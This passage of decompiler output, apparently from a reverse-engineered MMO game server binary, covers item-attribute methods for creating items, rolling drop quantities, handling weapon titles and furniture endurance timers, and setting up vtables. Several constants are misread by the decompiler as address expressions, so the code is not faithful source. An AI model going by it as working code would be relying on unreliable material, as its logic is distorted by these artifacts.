*)&itm->iti_itemstruct.itemattr.blot.lot = reward->Quantity; } //----- (005DA9C0) -------------------------------------------------------- void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = LOWORD(reward->Quantity); } //----- (005DA9E0) -------------------------------------------------------- void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)( itmid, itm, &stru_63450C.maa_TargetSelect.aggresive); ItemOptionsData::OptionCardStack::ocs_make( (ItemOptionsData::OptionCardStack *)(36 * reward->OptionDegree + 355796696), &itm->iti_itemstruct.itemattr.amulet.option); } //----- (005DAA20) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { EnchantSocketRateData *v4; // eax@1 EnchantSocketRateData *v5; // edi@1 ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)( itmid, itm, &stru_63450C.maa_TargetSelect.aggresive); BYTE2(itm->iti_itemstruct.itemattr.dlot.lot) = 0; itm->iti_itemstruct.itemattr.blot.lot = upgradeselect(reward); ItemOptionsData::OptionCardStack::ocs_make( (ItemOptionsData::OptionCardStack *)(36 * reward->OptionDegree + 355796696), (ItemOptionStorage *)&itm->iti_itemstruct.itemattr.binditem.portal[6].y); v4 = EnchantSocketRateData::GetSocketRateData(); v5 = v4; if ( v4 ) { if ( (unsigned __int8)v4->vfptr->iod_GetSocketCount(v4, itm->iti_itemstruct.itemid) >= 2u ) HIBYTE(itm->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value) = 2; else HIBYTE(itm->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value) = v5->vfptr->iod_GetSocketCount( v5, itm->iti_itemstruct.itemid); } } //----- (005DAAB0) -------------------------------------------------------- void __thiscall ItemAttrCls_Armor::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)( itmid, itm, &stru_63450C.maa_TargetSelect.aggresive); BYTE2(itm->iti_itemstruct.itemattr.dlot.lot) = 0; itm->iti_itemstruct.itemattr.blot.lot = upgradeselect(reward); ItemOptionsData::OptionCardStack::ocs_make( (ItemOptionsData::OptionCardStack *)(36 * reward->OptionDegree + 355796696), (ItemOptionStorage *)itm->iti_itemstruct.itemattr.amulet.upgradeopton); } //----- (005DAB00) -------------------------------------------------------- void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_Enchant *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { itm->iti_itemstruct.itemattr.blot.lot = LOBYTE(reward->Quantity); } //----- (005DAB20) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_equipbriefinfo(ItemAttributeClass *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { nc->protocol = 7172; nc[1].protocol = hnd; LOBYTE(nc[2].protocol) = slot; return 5; } //----- (005DAB50) -------------------------------------------------------- int __thiscall ItemAttrCls_Amulet::iac_equipbriefinfo(ItemAttrCls_Amulet *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { return 0; } //----- (005DAB60) -------------------------------------------------------- int __thiscall ItemAttrCls_Weapon::iac_equipbriefinfo(ItemAttrCls_Weapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { signed int v7; // eax@1 char *v8; // edx@1 char *v9; // eax@7 unsigned __int16 v10; // cx@7 nc->protocol = 7173; nc[1].protocol = hnd; nc[2].protocol = itm->itemid; LOBYTE(nc[3].protocol) = itm->itemattr.blot.lot; v7 = 0; v8 = (char *)&itm->itemattr.amulet.IsPutOnBelonged + 3; while ( itm->itemattr.amulet.upgradeopton[3] != *(_WORD *)v8 ) { ++v7; v8 += 6; if ( v7 >= 3 ) { *(unsigned __int16 *)((char *)&nc[3].protocol + 1) = -1; HIBYTE(nc[4].protocol) = 0; goto LABEL_8; } } if ( v7 < 3 ) { v9 = (char *)itm + 6 * v7; v10 = *(_WORD *)(v9 + 9); *(unsigned __int16 *)((char *)&nc[3].protocol + 1) = v10; HIBYTE(nc[4].protocol) = CWeaponTitle::GetLevel( weapontitle, v10, (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + 3) & *(_DWORD *)(v9 + 11)); } else { *(unsigned __int16 *)((char *)&nc[3].protocol + 1) = -1; HIBYTE(nc[4].protocol) = 0; } LABEL_8: if ( pOutNew_WT_MobID ) *pOutNew_WT_MobID = *(unsigned __int16 *)((char *)&nc[3].protocol + 1); if ( pOutNew_WT_TitleLevel ) *pOutNew_WT_TitleLevel = HIBYTE(nc[4].protocol); return 10; } //----- (005DAC10) -------------------------------------------------------- int __thiscall ItemAttrCls_Shield::iac_equipbriefinfo(ItemAttrCls_Boot *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { nc->protocol = 7171; nc[1].protocol = hnd; nc[2].protocol = itm->itemid; LOBYTE(nc[3].protocol) = itm->itemattr.blot.lot; return 7; } //----- (005DAC40) -------------------------------------------------------- int __thiscall ItemAttrCls_CostumWeapon::iac_equipbriefinfo(ItemAttrCls_CostumWeapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel) { nc->protocol = 7170; nc[1].protocol = hnd; nc[2].protocol = itm->itemid; return 6; } //----- (005DAC70) -------------------------------------------------------- void __thiscall ItemAttrCls_Enchant::iac_DropItemMake(ItemAttrCls_Enchant *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { signed __int64 v4; // qax@1 v4 = rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3); itm->iti_itemstruct.itemattr.blot.lot = LOBYTE(ig->ig_quantitylow) + (SHIDWORD(v4) >> 6) + (unsigned __int8)(HIDWORD(v4) >> 31); } //----- (005DACB0) -------------------------------------------------------- void __thiscall ItemAttrCls_WordLot::iac_DropItemMake(ItemAttrCls_WordLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { signed __int64 v4; // qax@1 v4 = rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3); *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = ig->ig_quantitylow + (SHIDWORD(v4) >> 6) + (unsigned __int16)(HIDWORD(v4) >> 31); } //----- (005DACF0) -------------------------------------------------------- void __thiscall ItemAttrCls_DwrdLot::iac_DropItemMake(ItemAttrCls_DwrdLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = ig->ig_quantitylow + ((signed int)((unsigned __int64)(rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(rnd1000 * (ig->ig_quantityhigh - ig->ig_quantitylow + 1) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); } //----- (005DAD30) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_DropItemMake(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { unsigned int v4; // eax@1 char *v5; // ecx@1 char *v6; // eax@6 signed int v7; // ecx@6 char *v8; // eax@8 signed int v9; // ecx@8 EnchantSocketRateData *v10; // eax@10 v4 = 0; v5 = (char *)ig->ig_upgraderate; while ( *(_WORD *)v5 <= rnd1000 ) { ++v4; v5 += 2; if ( v4 >= 0x10 ) goto LABEL_6; } itm->iti_itemstruct.itemattr.blot.lot = v4; LABEL_6: itm->iti_itemstruct.itemattr.blot.lot = 0; v6 = &itm->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[1]; v7 = 3; do { *((_WORD *)v6 - 1) = -1; *(_DWORD *)v6 = 0; v6 += 6; --v7; } while ( v7 ); LOBYTE(itm->iti_itemstruct.itemattr.binditem.portal[6].y) = 1; v8 = (char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[5].itemoption_value; v9 = 3; do { *((_WORD *)v8 - 1) = -1; *v8 = 0; v8 += 3; --v9; } while ( v9 ); HIBYTE(itm->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value) = 0; v10 = EnchantSocketRateData::GetSocketRateData(); if ( v10 ) HIBYTE(itm->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value) = v10->vfptr->iod_GetSocketCount( v10, itm->iti_itemstruct.itemid); BYTE1(itm->iti_itemstruct.itemattr.binditem.portal[5].x) = 0; } //----- (005DADC0) -------------------------------------------------------- void __thiscall ItemAttrCls_Armor::iac_DropItemMake(ItemAttrCls_Boot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000) { unsigned int v4; // eax@1 char *v5; // ecx@1 v4 = 0; v5 = (char *)ig->ig_upgraderate; while ( *(_WORD *)v5 <= rnd1000 ) { ++v4; v5 += 2; if ( v4 >= 0x10 ) { itm->iti_itemstruct.itemattr.blot.lot = 0; LOBYTE(itm->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; return; } } itm->iti_itemstruct.itemattr.blot.lot = v4; itm->iti_itemstruct.itemattr.blot.lot = 0; LOBYTE(itm->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; } //----- (005DAE00) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_wptitle_Setlicense(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid) { return 3; } //----- (005DAE10) -------------------------------------------------------- int __thiscall ItemAttrCls_Weapon::iac_wptitle_Setlicense(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid) { signed int v4; // eax@1 char *v5; // ecx@1 signed int v6; // eax@4 char *v7; // ecx@4 signed int v9; // ecx@9 v4 = 0; v5 = (char *)&itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3; do { if ( *(_WORD *)v5 == mobid ) return 1; ++v4; v5 += 6; } while ( v4 < 3 ); v6 = 0; v7 = (char *)&itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3; while ( *(_WORD *)v7 != -1 ) { ++v6; v7 += 6; if ( v6 >= 3 ) return 2; } v9 = 0; if ( *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3) != -1 ) v9 = 1; if ( *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.itemkey.binary._bf4 + 1) != -1 ) ++v9; if ( itm->iti_itemstruct.itemattr.amulet.upgradeopton[0] != -1 ) ++v9; if ( !v9 ) { *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] = *(_QWORD *)&pcharid->n4_name[0]; *(_QWORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value + 1) = *(_QWORD *)&pcharid->n4_name[8]; LOBYTE(itm->iti_itemstruct.itemattr.amulet.option.optionlist[4].itemoption_value) = 0; } *(_WORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 6 * v6 + 3) = mobid; return 0; } //----- (005DAEB0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Weapon::iac_wptitle_mobkilladd(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue) { signed int v4; // eax@1 char *v5; // ecx@1 unsigned int result; // eax@4 int v7; // eax@5 int v8; // ecx@5 char *v9; // edx@5 v4 = 0; v5 = (char *)&itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3; while ( *(_WORD *)v5 != mobid ) { ++v4; v5 += 6; if ( v4 >= 3 ) return -1; } v7 = 3 * v4; v8 = *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[2 * v7 + 1]; v9 = &itm->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[2 * v7 + 1]; result = addvalue + ((unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + 3) & v8); *(_DWORD *)v9 = v8 ^ (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + 3) & (result ^ v8); return result; } //----- (005DAF00) -------------------------------------------------------- char (*__thiscall ItemAttributeClass::iac_wptitle_Gettitle(ItemAttributeClass *this, ItemTotalInformation *itm))[17] { return (char (*)[17])&nullstr; } //----- (005DAF10) -------------------------------------------------------- char (*__thiscall ItemAttrCls_Weapon::iac_wptitle_Gettitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm))[17] { return (char (*)[17])&itm->iti_itemstruct.itemattr.amulet.upgradeopton[4]; } //----- (005DAF20) -------------------------------------------------------- bool __thiscall ItemAttrCls_Weapon::iac_wptitle_Settitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]) { char (*v4)[17]; // eax@1 char v5; // cl@2 v4 = ptitle; do { v5 = *(_BYTE *)v4; (*v4)[(char *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] - (char *)ptitle] = *(_BYTE *)v4; v4 = (char (*)[17])((char *)v4 + 1); } while ( v5 ); return 1; } //----- (005DAF40) -------------------------------------------------------- void __thiscall ItemAttrCls_Riding::iac_FoodEat(ItemAttrCls_Riding *this, ItemTotalInformation *itm, int hungry, int maxhungry) { int v4; // eax@1 v4 = hungry + *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot; if ( v4 > maxhungry ) v4 = maxhungry; if ( v4 < 0 ) LOWORD(v4) = 0; *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = v4; } //----- (005DAF70) -------------------------------------------------------- int __thiscall ItemAttrCls_Riding::iac_GetHungry(ItemAttrCls_Riding *this, ItemTotalInformation *itm) { return *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot; } //----- (005DAF80) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttributeClass::iac_wptitle_Getlicencemob(ItemAttributeClass *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm) { return -1; } //----- (005DAF90) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttrCls_WeaponTitlaLicence::iac_wptitle_Getlicencemob(ItemAttrCls_WeaponTitlaLicence *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm) { ItemDataBox::ItemDataBoxIndex *v4; // eax@1 unsigned int v5; // eax@2 v4 = ItemDataBox::operator__(idb, itm->iti_itemstruct.itemid); if ( v4 ) { v5 = BTree::operator__(&mdb->mdb_btree, &v4->data->InxName[4]); if ( v5 == -1 ) LOWORD(v5) = -1; } else { LOWORD(v5) = -1; } return v5; } //----- (005DAFD0) -------------------------------------------------------- void __thiscall ItemAttrCls_Furniture::iac_SetFurnitureKey(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 key) { *(unsigned __int16 *)((char *)&iti->iti_itemstruct.itemattr.wlot.lot + 1) = key; } //----- (005DAFE0) -------------------------------------------------------- int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime) { int v3; // eax@2 int result; // eax@3 if ( iti && (v3 = ((int (__stdcall *)(_DWORD))this->baseclass_0.baseclass_0.vfptr->iac_GetEndureEndTime)(&iti->iti_itemstruct)) != 0 ) { *(_DWORD *)v3 = dEndureEndTime->_bf0; result = 1; } else { result = 0; } return result; } //----- (005DB010) -------------------------------------------------------- int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime) { int result; // eax@1 int v6; // ebx@2 unsigned int v7; // eax@9 struct tm *v8; // ecx@9 int v9; // esi@10 int v10; // eax@10 bool v11; // sf@10 unsigned __int8 v12; // of@10 const void *v13; // esi@10 int v14; // eax@12 int v15; // eax@14 int tAfter_MaxEndure; // [sp+4h] [bp-94h]@9 struct tm dCompEndEndureTime; // [sp+8h] [bp-90h]@10 struct tm dAfter_MaxEndure; // [sp+2Ch] [bp-6Ch]@9 struct tm dAfter_AddEndureTime; // [sp+50h] [bp-48h]@12 struct tm dCompCurTime; // [sp+74h] [bp-24h]@10 result = (int)iti; if ( iti ) { result = ((int (__stdcall *)(_DWORD))this->baseclass_0.baseclass_0.vfptr->iac_GetEndureEndTime)(&iti->iti_itemstruct); v6 = result; if ( result ) { if ( !nMaxEndure ) { *(_DWORD *)result = 1992027391; return 1; } if ( *(_BYTE *)result == -1 ) return 1; if ( dCurTime ) { memcpy((void *)&dAfter_MaxEndure, dCurTime, sizeof(dAfter_MaxEndure)); dAfter_MaxEndure.tm_hour += nMaxEndure; tAfter_MaxEndure = mktime(&dAfter_MaxEndure); v7 = *(_DWORD *)v6; v8 = &dAfter_MaxEndure; if ( (unsigned __int8)*(_DWORD *)v6 ) { dCompEndEndureTime.tm_year = (unsigned __int8)*(_DWORD *)v6 + 100; dCompEndEndureTime.tm_mon = ((v7 >> 8) & 0x1F) - 1; dCompEndEndureTime.tm_mday = (v7 >> 13) & 0x3F; dCompEndEndureTime.tm_min = v7 >> 25; dCompEndEndureTime.tm_hour = (v7 >> 19) & 0x3F; dCompEndEndureTime.tm_sec = 0; memcpy((void *)&dCompCurTime, dCurTime, sizeof(dCompCurTime)); v9 = mktime(&dCompCurTime); v10 = mktime(&dCompEndEndureTime); v12 = __OFSUB__(v10, v9); v11 = v10 - v9 < 0; v13 = dCurTime; if ( !(v11 ^ v12) ) v13 = &dCompEndEndureTime; memcpy((void *)&dAfter_AddEndureTime, v13, sizeof(dAfter_AddEndureTime)); dAfter_AddEndureTime.tm_hour += nAddEndureTime; v14 = mktime(&dAfter_AddEndureTime); v8 = &dAfter_MaxEndure; if ( tAfter_MaxEndure >= v14 ) v8 = &dAfter_AddEndureTime; } v15 = v8->tm_hour; *(_BYTE *)v6 = LOBYTE(v8->tm_year) - 100; *(_DWORD *)v6 = *(_DWORD *)v6 & 0xFF | (((unsigned __int16)v8->tm_mon + 1) << 8) & 0x1F00 | ((v8->tm_mday & 0x3F | (((v8->tm_min << 6) | v15 & 0x3F) << 6)) << 13); result = 1; } else { result = 0; } } } return result; } //----- (005DB1C0) -------------------------------------------------------- void __thiscall ItemAttrCls_Furniture::iac_SetEndureGrade(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, char nEndureGrade) { LOBYTE(iti->iti_itemstruct.itemattr.amulet.upgradeopton[4]) = nEndureGrade; } //----- (005DB1D0) -------------------------------------------------------- SHINE_PUT_ON_BELONGED_ITEM __thiscall ItemAttrCls_Weapon::iac_GetIsPutOnBelonged(ItemAttrCls_Boot *this, ItemTotalInformation *iti) { return *(unsigned int *)((char *)&iti->iti_itemstruct.itemattr.dlot.lot + 3); } //----- (005DB1E0) -------------------------------------------------------- SHINE_PUT_ON_BELONGED_ITEM __thiscall ItemAttrCls_Decoration::iac_GetIsPutOnBelonged(ItemAttrCls_Decoration *this, ItemTotalInformation *iti) { return iti->iti_itemstruct.itemattr.amulet.IsPutOnBelonged; } //----- (005DB1F0) -------------------------------------------------------- SHINE_PUT_ON_BELONGED_ITEM __thiscall ItemAttrCls_Riding::iac_GetIsPutOnBelonged(ItemAttrCls_Riding *this, ItemTotalInformation *iti) { return *(_DWORD *)&iti->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[0]; } //----- (005DB200) -------------------------------------------------------- int __thiscall ItemAttrCls_Weapon::iac_SetIsPutOnBelonged(ItemAttrCls_Boot *this, ItemTotalInformation *iti, SHINE_PUT_ON_BELONGED_ITEM IsPutOnBelonged) { *(unsigned int *)((char *)&iti->iti_itemstruct.itemattr.dlot.lot + 3) = IsPutOnBelonged; return 1; } //----- (005DB220) -------------------------------------------------------- int __thiscall ItemAttrCls_Amulet::iac_SetIsPutOnBelonged(ItemAttrCls_Decoration *this, ItemTotalInformation *iti, SHINE_PUT_ON_BELONGED_ITEM IsPutOnBelonged) { iti->iti_itemstruct.itemattr.amulet.IsPutOnBelonged = IsPutOnBelonged; return 1; } //----- (005DB240) -------------------------------------------------------- int __thiscall ItemAttrCls_Riding::iac_SetIsPutOnBelonged(ItemAttrCls_Riding *this, ItemTotalInformation *iti, SHINE_PUT_ON_BELONGED_ITEM IsPutOnBelonged) { *(_DWORD *)&iti->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[0] = IsPutOnBelonged; return 1; } //----- (005DB260) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_FindOption(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, RandomOptionType optiontype) { int v3; // eax@2 int result; // eax@3 unsigned int v5; // edx@4 signed int v6; // ecx@4 int v7; // esi@5 if ( itm && (v3 = ((int (__stdcall *)(_DWORD))this->vfptr->iac_GetItemOptionStruct)(itm)) != 0 ) { v5 = (unsigned int)*(_BYTE *)v3 >> 1; v6 = 0; if ( (signed int)v5 <= 0 ) { LABEL_8: result = 0; } else { v7 = v3 + 1; while ( *(_BYTE *)v7 != optiontype ) { ++v6; v7 += 3; if ( v6 >= (signed int)v5 ) goto LABEL_8; } result = *(_WORD *)(v6 + v3 + 2 * v6 + 2); } } else { result = 0; } return result; } //----- (005DB2C0) -------------------------------------------------------- void __thiscall ItemAttrCls_Amulet::iac_ItemKetSet(ItemAttrCls_Amulet *this, ItemTotalInformation *itm) { int v2; // edx@1 v2 = itm->iti_registnum.binary._bf4; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[0] = *(_DWORD *)&itm->iti_registnum.binary.gap0[0]; itm->iti_itemstruct.itemattr.amulet.itemkey.binary._bf4 = v2; } //----- (005DB2E0) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_ItemKetSet(ItemAttrCls_Weapon *this, ItemTotalInformation *itm) { int v2; // edx@1 v2 = itm->iti_registnum.binary._bf4; *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.binditem.portal[5].y + 2) = *(_DWORD *)&itm->iti_registnum.binary.gap0[0]; itm->iti_itemstruct.itemattr.binditem.portal[6].x = v2; } //----- (005DB300) -------------------------------------------------------- void __thiscall ItemAttrCls_Armor::iac_ItemKetSet(ItemAttrCls_Boot *this, ItemTotalInformation *itm) { int v2; // edx@1 v2 = itm->iti_registnum.binary._bf4; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[3] = *(_DWORD *)&itm->iti_registnum.binary.gap0[0]; *(int *)((char *)&itm->iti_itemstruct.itemattr.amulet.itemkey.binary._bf4 + 3) = v2; } //----- (005DB320) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_ActionItem::iac_SetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour) { ItemAttributeClass::iac_SetEndTime(&this->baseclass_0, (ShineDateTime *)&itm->itemattr, hour, curtime, curhour); return (ShineDateTime *)&itm->itemattr; } //----- (005DB350) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Riding::iac_SetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour) { ItemAttributeClass::iac_SetEndTime( &this->baseclass_0.baseclass_0, (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 2), hour, curtime, curhour); return (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 2); } //----- (005DB380) -------------------------------------------------------- void __thiscall ItemAttributeClassContainer::ItemAttributeClassContainer(ItemAttributeClassContainer *this) { ItemAttributeClassContainer *v1; // eax@1 char *v2; // edx@1 char *v3; // esi@1 char *v4; // ecx@1 v1 = this; this->iacc_default.vfptr = (ItemAttributeClassVtbl *)ItemAttributeClass::_vftable_; this->iacc_bytelot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_ByteLot::_vftable_; this->iacc_wordlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_WordLot::_vftable_; this->iacc_dwrdlot.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_DwrdLot::_vftable_; this->iacc_quest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_QuestLot::_vftable_; this->iacc_amulet.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Amulet::_vftable_; this->iacc_weapon.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Weapon::_vftable_; this->iacc_armor.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Armor::_vftable_; this->iacc_shield.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Shield::_vftable_; this->iacc_boot.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Boot::_vftable_; this->iacc_furniture.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Furniture::_vftable_; this->iacc_decorate.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Decoration::_vftable_; this->iacc_skillscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_SkillScroll::_vftable_; this->iacc_recallscroll.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_RecallScroll::_vftable_; this->iacc_binditem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_BindItem::_vftable_; this->iacc_upsource.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpSource::_vftable_; this->iacc_itemchest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_ItemChest::_vftable_; this->iacc_weapontitlalicence.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_WeaponTitlaLicence::_vftable_; this->iacc_kingdomquest.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_KingdomQuestItem::_vftable_; this->iacc_minihouseskin.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_MiniHouseSkin::_vftable_; this->iacc_upgraderedgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpgradeRedGem::_vftable_; this->iacc_upgradebluegem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpgradeBlueGem::_vftable_; this->iacc_upgradegoldgem.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_UpgradeGoldGem::_vftable_; this->iacc_kqstep.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_KQStep::_vftable_; this->iacc_feed.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Feed::_vftable_; this->iacc_riding.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Riding::_vftable_; this->iacc_amount.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Amount::_vftable_; this->iacc_costumweapon.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_CostumWeapon::_vftable_; this->iacc_actionitem.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_ActionItem::_vftable_; this->iacc_enchant.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Enchant::_vftable_; this->iacc_gbcoin.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_GBCoin::_vftable_; this->iacc_capsule.baseclass_0.baseclass_0.vfptr = (ItemAttributeClassVtbl *)ItemAttrCls_Capsule::_vftable_; v2 = (char *)&this->iacc_bytelot; v3 = (char *)&this->iacc_wordlot; v4 = (char *)&this->iacc_dwrdlot; v1->iacc_Array[0] = (ItemAttributeClass *)v1; v1->iacc_Array[1] = (ItemAttributeClass *)v1; v1->iacc_Array[2] = (ItemAttributeClass *)v1; v1->iacc_Array[3] = (ItemAttributeClass *)v1; v1->iacc_Array[4] = (ItemAttributeClass *)v1; v1->iacc_Array[5] = (ItemAttributeClass *)v1; v1->iacc_Array[6] = (ItemAttributeClass *)v1; v1->iacc_Array[7] = (ItemAttributeClass *)v1; v1->iacc_Array[8] = (ItemAttributeClass *)v1; 